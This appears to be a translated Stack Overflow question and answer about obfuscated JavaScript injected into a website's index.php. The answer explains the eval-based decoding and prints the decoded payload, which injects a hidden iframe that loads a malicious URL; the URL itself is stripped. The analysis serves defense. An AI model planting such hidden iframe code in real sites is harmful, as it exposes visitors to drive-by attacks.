javascript - 为什么这个混淆代码在 JavaScript 中是恶意的?

标签 javascript obfuscation deobfuscation

我的一个 friend 的网站被列为恶意网站,我们发现一些混淆代码在他不知情的情况下被注入(inject)到他的 index.php 中。我对代码进行了两级反混淆,发现了这一点:

(code can be viewed in the edit history)

谁能告诉我它想做什么以及为什么它是恶意的......?

最佳答案

总而言之,代码“解码”了放置 <iframe> 的 HTML在恶意 URL 中加载。

以下行具有“编码”的 HTML:

n = ["9","9","45","42", ...

每个数字代表一个以 base-25 为基数的字符。代码将遍历此数组并使用 javascript 的 String.fromCharCode()将其转换为 ASCII 字符。毕竟这一切,它将eval()将其放置在页面上。

“解码”的 javascript 是:

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

请注意,出于安全目的,我已从代码中删除了恶意 URL。

关于javascript - 为什么这个混淆代码在 JavaScript 中是恶意的?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13313287/

相关文章:

用于对象函数扩展的 javascript .prototype

android - RestTemplate、Jackson 和混淆器

reverse-engineering - 使用二进制代码和 key 防止逆向工程

android - 反汇编安卓应用

c# - 使用 .Net Reactor 时未知的自定义元数据项类型 7

javascript - 如何将可嵌入的 Google map 导出到等效的 Map API JavaScript 代码中

javascript - 在 vue 中将链接数组从父级传递给子级(创建链接菜单)

ios - 在提交到 Apple App Store 之前混淆 Swift 代码

java - 使用 Proguard 混淆 WAR 文件

php - HTML/PHP 单行下拉列表多选